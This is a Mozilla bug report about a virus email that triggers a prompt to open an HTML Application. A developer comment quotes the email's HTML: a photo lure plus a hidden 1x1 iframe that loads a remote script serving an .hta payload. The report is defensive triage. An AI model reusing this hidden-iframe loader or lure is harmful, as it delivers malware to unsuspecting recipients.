232843 - Remote frame tries to load HTML Application (.hta)

Status: RESOLVED DUPLICATE of bug 28327

(MailNews Core :: Attachments, defect)

Description

[Marat Khalili]

User-Agent:       
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4.1) Gecko/20031008

I've received a message (apparently a virus) that offers me to open some "HTML
Application" every time I just click on the message. This behavior is unusual to
mozilla and may point to a serious problem of security (and in any way
inconvenient).

I didn't run it nor do I have time to check other versions of Mozilla, sorry.


Reproducible: Always
Steps to Reproduce:
1. Check the attached message.

Actual Results:  
Dialog is shown (see attached capture).

Expected Results:  
do nothing
OR display warning one time
OR display the dialog with the warning one time

Comment 1

[Marat Khalili]

Attachment: Mail folder with the message

Comment 2

[Marat Khalili]

Attachment: Dialog capture

Comment 3

[Daniel Wang]

It's not the attachment, it is the message HTML content:

<FONT color=red size=15><CENTER>Hi !</CENTER></FONT><BR>
Here is my photo, that you asked for yesterday.<BR><iframe
src=http://s12345.netfirms.com/cgi-bin/banner.php WIDTH=1 HEIGHT=1></iframe>

The message contains a frame that loads remote content. The content incidently
is a MSIE applicaiton which Mozilla doesn't know how to handle.

To avoid loading remote content, open the View menu, choose Message Body As...,
and choose either Plain Text or Simple HTML

*** This bug has been marked as a duplicate of 28327 ***